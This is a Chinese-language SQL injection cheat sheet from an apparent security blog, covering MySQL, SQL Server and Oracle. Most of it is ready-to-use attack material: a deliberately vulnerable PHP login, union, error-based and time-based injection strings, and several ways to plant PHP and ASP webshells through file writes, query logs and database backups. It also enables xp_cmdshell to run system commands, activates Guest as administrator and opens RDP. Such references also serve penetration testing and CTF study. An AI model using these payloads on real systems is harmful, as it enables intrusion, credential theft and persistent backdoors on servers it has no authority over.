HacKerQWQ的博客空间

sql注入速查笔记

Word count: 15.2kReading time: 70 min
2021/02/28 Share

sql注入分类方式:

1
2
3
4
提交方式:GET POST COOKIE
参数注入:数字型 字符型 搜索型
数据库类型:ACCESS/Mysql/MSSQL/ORacle/SqlServer
手工注入方法:联合查询、报错注入、盲注(基于布尔型、基于时间延迟)

存在sql注入的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$db = new mysqli("127.0.0.1","root","root","sql1");
if ($db->error){
exit($db->error);
}
echo "database connect success!!!<br/>";
@$uname = $_POST['username'];
@$pass = md5($_POST['password']);
if (!is_null($uname)&&!is_null($pass)){
$sql = "select * from users where username='$uname' and password='$pass'";
echo "sql语句:".$sql."<br/>";
$result = $db->query($sql);
if ($result){
if($row = $result->fetch_array()){
echo "登录成功<br/>";
echo "编号:".$row['id']."<br/>";
echo "账号:".$row['username']."<br/>";
echo "密码:".$row['password']."<br/>";
}
else{
echo "登录失败<br/>";
}
}else{
echo "no result was selected!!!";
}
}else{
highlight_file(__FILE__);
}

0x01 Mysql

Mysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.0

1.1 root权限

load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径

1.1.1 判断是否具有读写权限

  • 初步判断当前用户是否对mysql.user表有访问权限:

    1
    2
    and (select count(*) from mysql.user)>0#
    and (select count(file_priv) from mysql.user)>0#

    解析:mysql.userfile_priv用于确定用户是否可以执行SELECT INTO OUTFILELOAD DATA INFILE命令,这两条语句也可以判断数据库用户数量
    root用户执行的结果:

    test用户执行结果:

    可见低权限用户不能读取mysql.user表,那有读写权限的几率也小
    更多mysql.user表的信息,包含创建用户,查看用户权限==>https://www.cnblogs.com/liuhaidon/archive/2019/09/12/11511129.html

  • 本地查看权限
    通过SHOW VARIABLES LIKE “secure_file_priv”查看信息

    1
    2
    3
    4
    5
    mysqld --secure_file_priv=null(不允许导入导出)

    mysqld --secure_file_priv=/tmp/(导入导出只允许在/tmp目录下)

    mysql --secure_file_priv=(任意导入导出)
  • Linux下默认配置文件位置:/etc/mysql/mysql.conf.d/mysqld.cnf

A、Load_file()用来读取文件,只能读取绝对路径的文件
注意:路径符号”\”错误 “\”正确 “/”正确,转换成十六进制,不用“”

1
2
id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路径转16进制)
id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file0x2f7661722f7777772f696e6465782e706870

B、into outfile函数用来写文件,也是只能写绝对路径的文件

1
2
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

C、通过FIELDS TERMINATED BY写入文件

1
2
mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected, 1 warning (0.01 sec)

FIELDS TERMINATED BY为在输出数据的字段中添加FIELDS TERMINATED BY的内容,如果字段数为1,则无法进行添加,也就是说这个的限制条件是起码要有两个字段的。
D、LINES STARTING BY写入shell
用法与LINES TERMINATED BY一样,payload如下

1
2
mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/4.php' lines starting by 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected, 1 warning (0.01 sec)

C、sqlnuke工具遍历可能存在写入权限的目录
有时会遇到不知道网站绝对路径的情况,这时候可以用githubsqlnuke工具,遍历字典文件查看可注入的点,也可以将字典文件载入burpsuite使用
地址
潇湘信安的教程

1.2 MySQL联合查询

1.2.1 适用于mysql低于5.0版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1.判断是否可以注入
?id=1 and 1=1,页面正常
?id=1 and 1=2,页面空白
2.获得字段数
order by的方法来判断,比如:
?id=1 order by 4 页面显示正常
?id=1 order by 5 页面出错,说明字段数等于4
3.获得显示位
?id=1 and 1=2 union select 1,2,3,4
//比如,页面上出现了几个数字,分别是234,那么,这几个数字就被我们称作显示位。
4.猜表名
猜表名的方法是,在第三步的完整的地址后加上:Form 表名,比如:
?id=1 and 1=2 union select 1,2,3,4 from users
这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。

5.猜字段
使用:Concat(字段名)替换显示位的位置。
?id=1 and 1=2 union select 1,2,3,concat(username,password) from users

1.2.2 适用于Mysql 5.0以上版本支持查表查列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1.先判断是否可以注入
and+1=1,页面正常
and+1=2,页面空白
2.获得字段数:使用order by
提交:
?id=1 order by 4 正确。
?id=1 order by 5 错误。
那么,判断出字段数为4。
3.获得显示位

提交:?id=1 +and+1=2+union+select+1,2,3,4
显示位为:234
4.获取信息
?id=1 +and+1=2+union+select+1,2,3,version()

database()
user()
version()
database()
@@basedir 数据库安装路径
@@datadir 数据库路径
5.查表
?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(数据库名testHex) limit 0,1--
得到表:test

6.查字段
?id=1 and 1=2 union select 1,2,3,column_name from
information_schema.columns where table_name=0x74657374 limit 0,1--
得到字段:id,username,password
7.爆字段内容
?id=1+and+1=2+union+select+1,2,3,concat(username,password) from+test

1.3 Mysql报错注入

多种报错注入方式:

1
2
3
4
5
6
7
8
9
10
11
and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))
and 1=(updatexml(1,concat(0x3a,(select user())),1))
and GeometryCollection((select*from(select*from(select @@version)f)x))
and polygon((select*from(select name_const(version(),1))x))
and linestring((select * from(select * from(select user())a)b))
and multilinestring((select * from(select * from(select version())a)b));
and multipoint((select * from(select * from(select user())a)b));
and multipolygon((select * from(select * from(select user())a)b));
and exp(~(select * from(select version())a));

1.4 Mysql盲注

基于布尔型注入

1
2
3
id=1 and (select length(user()))=20 # 返回正常页面  长度20位
id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97
//截取username第一个数据的ascii

更多的截取函数:left、mid、substring、right、substr
基于时间型的注入

1
2
1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))
1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2')

1.5 Mysql三步写shell

查数据库目录

1
show variables like '%general%';

猜测根目录

1
select @@basedir;

设置日志文件

1
set global general_log_file='C:\phpstudy\PHPTutorial\WWW\Test\1234.php';

设置双反斜杠防止转义

1
set global general_log_file=’C:\\phpstudy\\PHPTutorial\\WWW\\1234.php’;

知道路径之后…三步拿SHELL

1
2
3
set global general_log='on';
SET global general_log_file='D:/xxxx/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

1.6 慢日志查询写shell

也可以通过慢查询的方法写shell,但是只有查询时间大于long_query_time才会被记录,因此可以设置long_query_time为一个很小的数值

  • 优点:在secure_file_priv为NULL时也可以使用
1
2
3
4
5
6
7
8
9
set global general_log on;
show variables like '%slow_query_log%'; # 查询慢日志记录是否开启
set global slow_query_log=1; # 开启慢查询日志
show variables like '%slow_query_log%'; # 查询慢日志记录是否开启
set global slow_query_log_file='/var/www/html/helpyou2findflag.php'; # 设置慢查询日志位置
set global long_query_time=0.000001; #减小记录查询的时间
show variables like 'long_query_time';
select '<?php $_REQUEST[a]($_REQUEST[b])?>' or sleep(5);
set global general_log on;

访问/var/www/html/helpyou2findflag.php即可

例题:2021深育杯Easy SQL

0x02 SQLServer

SQLServer是微软出的,因此简称也叫MssqlServer

数据库的创建和连接==>https://blog.csdn.net/dyw_666666/article/details/83244011

SQLServer基础知识

判断是MSSqlServer方法

  • 若在返回的信息中有类似“[Microsoft][ODBC SQL Server Driver][SQL Server]”的字样,关键在于:“Microsoft”和“SQL Server”,就可以判断出目标为MSSQL数据库。MSSQL通常和ASP脚本搭配,也有和php或jsp搭配的,但很少见。我们还是从ASP+MSSQL入手。针对这种数据库,权限的判断很重要,如果有足够的权限,我们就不用像ACCESS那样逐字猜解那么麻烦了。

  • exists(select*from sysobjects) 语句执行成功(sysobjects表是SQLServer特有的)

    SQLServer的库

  • SQLServer数据库有6个默认的库,分别是4个系统数据库:mastermodelmsdbtempdb,和2个实例数据库:ReportServerReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的。

  • master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。

  • model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。

  • msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。

  • tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。

    sysobjects表

    SQL Server数据库的一切信息都保存在它的系统表格里,每个数据库内都有系统表sysobjects,它存放该数据库内创建的所有对象,如数据库,表,约束、默认值、日志、规则、存储过程等,每个对象在表中占一行

通过系统表sysobjects可以注出该数据库中的所有表和内容。

列名 数据类型 描述
name sysname 对象名,常用列
id int 对象标识号
xtype char(2) 对象类型。常用列。xtype可以是下列对象类型中的一种: C = CHECK 约束  D = 默认值或 DEFAULT 约束  F = FOREIGN KEY 约束  L = 日志  FN = 标量函数 IF = 内嵌表函数  P = 存储过程  PK = PRIMARY KEY 约束(类型是 K)  RF = 复制筛选存储过程 S = 系统表  TF = 表函数  TR = 触发器  U = 用户表  UQ = UNIQUE 约束(类型是 K) V = 视图  X = 扩展存储过程
uid smallint 所有者用户对象编号
info smallint 保留。仅限内部使用
status int 保留。仅限内部使用
base_schema_ ver int 保留。仅限内部使用
replinfo int 保留。供复制使用
parent_obj int 父对象的对象标识号(例如,对于触发器或约束,该标识号为表 ID)。
crdate datetime 对象的创建日期。
ftcatid smallint 为全文索引注册的所有用户表的全文目录标识符,对于没有注册的所有用户表则为 0
schema_ver int 版本号,该版本号在每次表的架构更改时都增加。
stats_schema_ ver int 保留。仅限内部使用。
type char(2) 对象类型。可以是下列值之一: C = CHECK 约束 D = 默认值或 DEFAULT 约束 F = FOREIGN KEY 约束 FN = 标量函数 IF = 内嵌表函数 K = PRIMARY KEY 或 UNIQUE 约束 L = 日志 P = 存储过程 R = 规则 RF = 复制筛选存储过程 S = 系统表 TF = 表函数 TR = 触发器 U = 用户表 V = 视图 X = 扩展存储过程
userstat smallint 保留。
sysstat smallint 内部状态信息
indexdel smallint 保留
refdate datetime 留用
version int 保留
deltrig int 保留
instrig int 保留
updtrig int 保留
seltrig int 保留
category int 用于发布、约束和标识
cache smallint 保留
例子:
1
2
查看当前数据库所有表的信息
SELECT * FROM sysobjects WHERE xtpye='U'

SQLServer基础查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
select @@version;       查询数据库的版本
select @@servername; 查询服务名
select host_name(); 查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); 查询当前数据库名
select db_name(1); 查询第一个数据库名
select db_name(2); 查询第二个数据库名
select user; 查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
select * from sys.tables ;--数据库表视图
select * from sys.columns ; --数据库表字段
# 查询数据库tests下的表
SELECT name FROM [tests]..sysobjects WHERE xtype='U'
use tempdb 切换到tempdb表
top n 查询前n条记录
limit 2,3 查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1) 截取给定字符串的索引为21个字符
select ascii('a') 查询给定字符串的ascii
select len('string') 查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE'; 查询当前数据库的大小
sp_spaceused '表名' 查询指定表名的大小

可以用@@servicename=host_name()来判断是否站库分离

各个系统表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
select * from sysaltfiles;--主数据库 保存数据库的文件
select * from syscharsets;--主数据库 字符集与排序顺序
select * from sysconfigures;-- 主数据库 配置选项
select * from syscurconfigs;--主数据库 当前配置选项
select * from sysdatabases ;--主数据库 服务器中的数据库
select * from syslanguages;--主数据库 语言
select * from syslogins;--主数据库 登陆帐号信息
select * from sysoledbusers;--主数据库 链接服务器登陆信息
select * from sysprocesses;--主数据库 进程
select * from sysremotelogins;--主数据库 远程登录帐号
select * from syscolumns;--每个数据库 列
select * from sysconstrains;--每个数据库 限制
select * from sysfilegroups;--每个数据库 文件组
select * from sysfiles;--每个数据库 文件
select * from sysforeignkeys;-- 每个数据库 外部关键字
select * from sysindexs ;--每个数据库 索引
select * from sysmenbers ;--每个数据库 角色成员
select * from sysobjects ;--每个数据库 所有数据库对象
select * from syspermissions;--每个数据库 权限
select * from systypes;-- 每个数据库 用户定义数据类型

用户权限

  1. sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
  2. db权限:文件管理,数据库操作等权限 users-administrators
  3. public权限:数据库操作 guest-users
    1
    2
    3
    4
    5
    6
    判断是否是SA权限
    select is_srvrolemember('sysadmin')
    判断是否是db_owner权限
    select is_member('db_owner')
    判断是否是public权限
    select is_srvrolemember('public')
  • SA(System Admin)权限我们可以直接执行命令DB_OWNER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。

SA权限

开启xp_cmdshell执行命令

1
select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell' 

判断 xp_cmdshell 是否打开,1就是打开了,0就是关闭了

如果xp_cmdshell没有开启或者开启了但是执行命令失败可以用下列命令开启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure') #查看配置
execute('xp_cmdshell "whoami"') #执行系统命令

或者
exec sp_configure 'show advanced options',1; #将该选项的值设置为1
reconfigure; #保存设置
exec sp_configure 'xp_cmdshell',1; #将xp_cmdshell的值设置为1
reconfigure; #保存设置
exec sp_configure; #查看配置
exec xp_cmdshell 'whoami'; #执行系统命令

开始xp_cmdshell后执行whoami的结果
尝试添加Guest激活后加入administrators组

1
2
3
4
exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口

使用sp_oacreate执行系统命令

使用下面命令查看是否可使用 sp_oacreate 执行系统命令

1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'

当出现”SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的 过程 ‘sys.sp_OACreate’ 的访问”的时候使用以下命令打开

1
2
3
4
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;


需要注意的是使用sp_oacreate执行系统命令没有回显

可以用以下命令创建用户hack

1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add'

DB_OWNER权限

LOG备份Getshell

DB_OWNER权限的用户的攻击方式是通过写入备份来写SHELL
SQLServer常见的备份策略:

  1. 每周一次完整备份
  2. 每天一次差异备份
  3. 每小时一次事务日志备份

利用前提:

  1. 目标机器存在数据库备份文件 ,也就是如下,我们利用test数据库的话,则需要该test数据库存在数据库备份文件
  2. 知道网站的绝对路径
  3. 该注入支持堆叠注入
1
2
3
4
5
6
alter database 数据库名 set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
create table cmd (a image); #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init; #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e); #插入一句话到cmd表里
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件
drop table cmd; #删除cmd表

实际执行中提示将两个backup log改为backup database,之后成功执行!

生成shell成功(2.php含shell)

注意:需要选择有备份文件的数据库!!!

权限差异备份GetShell

利用前提

  1. 知道网站的绝对路径
  2. 该注入支持堆叠注入

利用过程:

  1. 完整备份一次(保存位置当然可以改)
    1
    2
    backup database 库名 to disk = 
    'c:\ddd.bak';-- #可以换成十六进制表示形式
  2. 创建表并插入数据
    1
    2
    3
    4
    create table [dbo].[dtest] ([cmd] 
    [image]);--
    insert into dtest(cmd)
    values(0x3C25657865637574652872657175657374282261222929253E);-- #插入一句话木马<%execute(request("a"))%>
  3. 进行差异备份
    1
    2
    3
    backup 
    database 库名 to disk='目标位置\d.asp' WITH
    DIFFERENTIAL,FORMAT;--

插入成功

SQLServer Union查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1.判断是否存在注入
?id=1 and 1=1-- 返回正确
?id=1 and 1=2-- 返回错误

2.获取字段数
?id=1 order by 2-- 返回正确页面
?id=1 order by 3-- 返回错误页面 字段长度为2

3.查看数据库名字
?id=1 and 1=2 union select db_name(),null //获得当前数据库

4.查看表名
第一个表
?id=1 and 1=2 union select top 1 1,'2',name,'4',5 from sysobjects where xtype='u'
第二个表
?id=1 and 1=2 union select top 1 1,'2',name,'4',5 from sysobjects where xtype='u' and name not in (select top 1 name from sysobjects where xtype = 'u')

5.查看字段
第一个字段
?id=1 and 1=2 union select top 1 1,'2',name,'4',5 from syscolumns where id = (select id from sysobjects where name= 'user')
第二个字段
union select top 1 1,'2',name,'4',5 from syscolumns where id = (select id from sysobjects where name= 'user') and name not in(select top 1 name from syscolumns where id =(select id from sysobjects where name='user'))

6.查内容
?id=1 and 1=2 union select 1,2,name,4,5 from [User] #这里用中括号是因为系统也存在user表,中括号的作用类似Mysql的反引号

SQLServer 延时注入

1
2
3
4
5
6
7
8
9
10
11
12
判断是否是SA权限
if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'
判断是否是站库分离(延时后返回正确页面,确定站库没有分离)
if(host_name()=@@servername) WAITFOR DELAY '0:0:2'

判断数据库的个数
IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))=55) WAITFOR DELAY '0:0:2'

判断是否开启xp_cmdshell
if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--

更多延时注入payload,可以查看sqlmap

根据响应时间判断执行是否正确

SQLServer 盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
判断数据库个数
and (select count(name) from master..sysdatabases)=N

判断数据库名长度
and len(db_name(1))>5 //正常显示
and len(db_name(1))>6 //不正常显示

判断第七个数据库的ascii值(跟Mysql盲注一样,但是没有substr函数)
and ascii(substring(db_name(7),1,1))>100 //正常显示
and ascii(substring(db_name(7),1,1))>150 //不正常显示
and ascii(substring(db_name(7),1,1))>125 //不正常显示
and ascii(substring(db_name(7),1,1))>112 //正常显示
and ascii(substring(db_name(7),1,1))>118 //不正常显示
and ascii(substring(db_name(7),1,1))>115 //正常显示
and ascii(substring(db_name(7),1,1))>116 //不正常显示

猜表名

?id=1 and (select top 1 name from sysobjects where xtype='u'and len(name)=7)=1 -- //获取第一个表的长度7

?id=1 and (select top 1 name from sysobjects where xtype='u' and name not in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 -- //获取第二个表的长度7

?id=1 and (select top 1 name from sysobjects where xtype='u' and ascii(substring(name,1,1))=116)=1 -- //截取第一个表第一位的ascii码

?id=1 and (select top 1 name from sysobjects where name not in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))>115)=1 --//猜第二个表的第一位ASCII值
得到表名,进一步猜解字段

2、猜字段
id=1 and
(select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1
//获取users表第一个字段的ASCII

id=1 and
(select top 1 name from syscolumns where name not in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in (select top 1 name from syscolumns where id =(select id from sysobjects where name='user')) and ascii(substring(name,1,1))>90)=1 --
//获取user表第二个字段的第一位ASCII

3、猜数据
id=1 and (ascii(substring((select top 1 uname from [users]),1,1)))=33 --
//获取users表中uname字段的第一位ASCII

SQLServer报错注入

1
2
3
4
5
爆列名
?id=1 group by id having 1=1 #此时会报错,报错第二列的列名
?id=1 group by id,title having 1=1 #报第三列的错...
爆字段
?id=1 and 1/titile

SQLServer获取权限的奇巧淫技

利用前提:

  1. 目标网站注入支持堆叠注入
  2. 当前权限是SA权限
  3. 使用sqlmap的 –os-shell 无法获取到权限

方法:我们这里是通过先找到目标网站的一个文件,然后通过遍历目标服务器的磁盘,找到该文件,将其路径写入自建的表中,然后再读取该表得到网站绝对路径。

假设目标网站系统有一个test.txt文件,实际中也可以用index.asp或者index.php

1
2
3
查找目标机器C盘下的test.txt文件
for /r c:\ %i in (test*.txt) do @echo %i #这里的文件名后缀前那个点一定要加*号
dir /s /b c:\test.txt
  • 利用过程:
  1. 创建hack表,并添加tmp字段
    1
    create table hack (tmp varchar(1000));--  
  2. 查找test.txt 路径
    1
    2
    3
    4
    查找目标机器C盘下的test.txt路径,并将结果写入刚刚创建的hack表的tmp字段
    ;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\test.txt';--

    ;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (test*.txt) do @echo %i';--
    这时候查找到了test.txt得到了网站路径就可以写shell
  3. 写shell
    1
    1;exec master..xp_cmdshell 'echo ^<?php @eval($_POST[x]);?^> > C:\phpstudy\www\shell.php';--
    将一句话木马写入目标网站根目录,并命名为shell.php。注意这里的一句话木马的 <和>前要加上^

0x03 Oracle

前置知识

Oracle的特性是使用实例来连接数据库,一个实例连接一个数据,一个数据库能被多个实例打开。如下

1
jdbc:oracle:thin:@localhost:1521:orcltest(orcltest就是实例名)

连接方式

Oracle操作SQL语句有两种方式:

  1. navicat远程连接

  2. 命令行连接

    1
    2
    sqlplus
    输入账号密码

    image-20220125143558764

表空间

  • Oracle数据库是通过表空间来存储物理表的,表空间是数据库的额逻辑划分,隶属数据库实例下面。

一个数据库实例有N个表空间,一个表空间下有N个表,因此有了实例就可以创建表空间。

创建表空间

1
2
3
4
//简易创建
create tablespace OracleTest1 datafile '/opt/oracle/oradata/ORCL/datafile/OracleTest1.dbf' size 32M;
//多参数创建
create tablespace mytablespace logging datafile '/opt/oracle/oradata/ORCL/datafile/OracleTest.dbf' size 32m autoextend on next 32m maxsize 2048m extent management local;

参数解释:

  • mytablespace : 表空间名称
  • datafile: 指定表空间对应的数据文件(位置)
  • size:表空间的初始大小
  • autoextend on :自动增长

image-20220125145124459

查看表空间是否创建成功

image-20220125145153207

用户

Oracle的用户分为三类:

  1. 终端用户(End User)
  2. 应用程序员(Application Programmer)
  3. 数据库管理员(DBA)

创建表空间之后需要为表空间指定一个用户进行操作

创建用户

1
2
Create user testuser identified by testT123 default tablespace hack
//为hack表空间指定了testuser,密码是testT123

image-20220125145450812

授予用户权限

1
2
3
grant connect to testuser
grant resource to testuser
grant dba to testuser

查看用户

1
2
3
4
//查看当前用户
show user;
//查看数据库所有用户
select * from dba_user;

查看表所属的表空间

1
select table_name,tablespace_name from all_tables where table_name='FILE$';

image-20220125150652325

查看表结构

1
desc t_student

profile配置文件

profile配置文件包括两部分:密码配置kernel资源配置

系统默认存在DEFAULTPROFILE,如果不做特殊指定指定,创建用户时默认使用的PROFILEDEFAULT

查看profile

1
2
select * from dba_profiles
select * from dba_profiles where PROFILE='DEFAULT'

image-20220125152117686

重要配置:

image-20220125152247524

口令配置 口令参数 功能
账号锁定次数 FAILED_LOGIN_ATTEMPTS 指定连续登录最大连续登录失败次数(次数)
账号锁定时间 PASSWORD_LOCK_TIME 指定账号锁定时间(天)
密码历史策略 PASSWORD_REUSE_TIME 指定口令可重置时间(天)
密码历史策略 PASSWOD_REUSE_MAX 用户可指定口令在重用前需改变的次数(次数)
密码有效策略 PASSWORD_LIFE_TIME 用于指定口令有效期(天)
密码有效策略 PASSWORD_GRACE_TIME 用于指定口令宽限期(天)

环境安装

这里使用docker进行安装测试

参考链接:https://www.jianshu.com/p/27a36d83fc10

1
2
docker pull alexeiled/docker-oracle-xe-11g
docker run -d -p 49161:1521 -e ORACLE_ALLOW_REMOTE=true alexeiled/docker-oracle-xe-11g

连接信息:

  • 连接类型:Basic
  • 主机地址:ip
  • 端口:49161
  • 实例:xe
  • 用户名:system
  • 密码:oracle

使用navicat连接

image-20220125142051493

或者进入docker

1
2
sqlplus
connect system/oracle

基础信息

基础语法

既然要了解Oracle,那么Oracle的基础语法一定要会,这里就默认有mysql基础了。讲一下和mysql不一样的地方。

1
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录

然后就是sql语句的几个不同点。

  • sql语句中必须要加 select 指名表名。也可以使用dual表进行查询。

  • Oracle中只有null这个概念,没有空字符串这个概念,空字符串就是null

  • Oraclesqlite有点像,都是使用||当做字符串的连接符。所以在sql注入的时候自然也就有了replace注入。

  • Oracle的单引号和mysql是一样的,不过双引号是用来消除系统关键字的。

  • 我们曾经看到的rownum是真是存在的。并且oracle中没有limit只能用下面的方式代替:

    1
    select * from pyy where rownum=1;
  • 单行注释采取和sqlite相同的--。而多行注释符采用/**/

系统表

Oracle的系统表:

  • dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
  • all_tables : 当前用户有权限的表的信息
  • user_tables: 当前用户名下的表的信息
  • DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
  • ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
  • USER_ALL_TABLES:某一用户所拥有的对象和表

user_tables 的范围最小,all_tables 看到的东西稍多一些,而 dba_tables 的信息最全。范围是:

1
dba_tables >= all_tables >= user_tables

权限和用户

ORACLE系统提供三种权限:Object 对象级、System 系统级、Role 角色级,这些权限可以授予给用户、特殊用户public或角色。

如果授予一个权限给特殊用户”Public”(用户public是oracle预定义的,每个用户享有这个用户享有的权限),那么就意味作将该权限授予了该数据库的所有用户

对管理权限而言,角色是一个工具,权限能够被授予给一个角色,角色也能被授予给另一个角色或用户。用户可以通过角色继承权限,简单讲就是为了简化权限的分配,如下图所示:

1609331970765.png

权限被大体分为两类:

  • 系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。
  • 实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)

系统权限

  • DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
  • RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
  • CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构

实体权限

简单说就是用户对表、视图、存储过程等有什么权限

  • 表权限:SELECT、DELETE、UPDATE、INSERT、ALTER
  • 视图权限:SELECT、DELTE、INSERT、UPDATE
  • 过程、函数、程序包权限:EXECUTE、DEBUG

用户

  • 一般oracle数据库安装成功后会创建几个默认用户syssystempublic等。

  • 一般普通用户拥有connectresource角色,而管理员拥有connectresourcedba角色

系统权限只能由DBA用户授出:sys, system(最开始只能是这两个用户)

  • 创建用户

    1
    2
    3
    Create user user50 identified by user50;
    //修改密码
    alter user test identified by test;

    创建user50,密码是user50

  • 删除用户

    1
    drop user 用户名 cascade; 
  • 收回权限

    1
    Revoke connect, resource from user50; 
  • 权限授予

1
grant connect, resource, dba to 用户名1 [,用户名2]...;
  • 注:普通用户通过授权可以具有与system相同的用户权限,但永远不能达到与sys用户相同的权限,system用户的权限也可以被回收。
  • 授予所获权限
1
grant connect, resorce to user50 with admin option;  //可以传递所获权限。

​ 1)如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。
​ 2)系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。

  • 查看所有角色:

    1
    select * from dba_roles; 

    当前用户被激活的全部角色:

    1
    select * from session_roles; 

    当前用户被授予的角色:

